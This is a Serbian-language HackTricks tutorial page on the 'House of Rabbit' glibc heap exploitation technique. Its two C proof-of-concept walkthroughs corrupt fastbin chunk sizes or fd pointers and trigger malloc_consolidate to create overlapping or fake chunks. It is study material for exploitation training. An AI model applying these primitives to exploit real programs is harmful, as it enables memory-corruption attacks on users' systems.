House of Rabbit

Podržite HackTricks

Zahtevi

  1. Sposobnost modifikacije pokazivača fd brze binarne ili veličine: To znači da možete promeniti pokazivač napred jednog bloka u brzoj binarnoj ili njegovu veličinu.

  2. Sposobnost pokretanja malloc_consolidate: Ovo se može postići ili dodeljivanjem velikog bloka ili spajanjem vršnog bloka, što prisiljava hip da konsoliduje blokove.

Ciljevi

  1. Stvaranje preklapajućih blokova: Da bi jedan blok prekrio drugi, omogućavajući dalje manipulacije hipom.

  2. Lažiranje lažnih blokova: Da bi se varalica ubedio da tretira lažni blok kao legitimni blok tokom operacija hipa.

Koraci napada

POC 1: Modifikacija veličine brze binarne jedinice

Cilj: Stvaranje preklapajućeg bloka manipulacijom veličine brze binarne jedinice.

  • Korak 1: Dodela Blokova

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Korak 2: Oslobađanje delova

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Korak 3: Izmena Veličine Čunka

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Korak 4: Izazovite malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Alociranje velikog bloka pokreće funkciju malloc_consolidate, spajajući male blokove u brzom binu. Manipulisana veličina chunk1 uzrokuje preklapanje sa chunk2.

Nakon konsolidacije, chunk1 se preklapa sa chunk2, omogućavajući dalju eksploataciju.

POC 2: Modifikacija fd pokazivača

Cilj: Kreiranje lažnog bloka manipulacijom brzog bin fd pokazivača.

  • Korak 1: Alociranje Blokova

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Objašnjenje: Alociramo dva bloka, jedan manji i jedan veći, kako bismo postavili hip za lažni blok.

  • Korak 2: Kreiranje lažnog bloka

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Korak 3: Oslobodite chunk1

free(chunk1);  // Frees the chunk at 0x602000

Objašnjenje: Oslobađamo chunk1, dodajući ga u listu fastbin.

  • Korak 4: Modifikujemo fd od chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Objašnjenje: Menjamo pokazivač unapred (fd) chunk1 da pokazuje na naš lažni blok unutar chunk2.

  • Korak 5: Pokretanje malloc_consolidate

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Alociranje velikog bloka ponovo pokreće malloc_consolidate, koji obrađuje lažni blok.

Lažni blok postaje deo liste brzih binova, čineći ga legitimnim blokom za dalje iskorišćavanje.

Rezime

Tehnika House of Rabbit uključuje ili modifikovanje veličine bloka brzih binova kako bi se stvorili preklapajući blokovi ili manipulisanje fd pokazivača kako bi se stvorili lažni blokovi. Ovo omogućava napadačima da falsifikuju legitimne blokove u hipu, omogućavajući različite oblike iskorišćavanja. Razumevanje i vežbanje ovih koraka će unaprediti vaše veštine iskorišćavanja hipa.

Last updated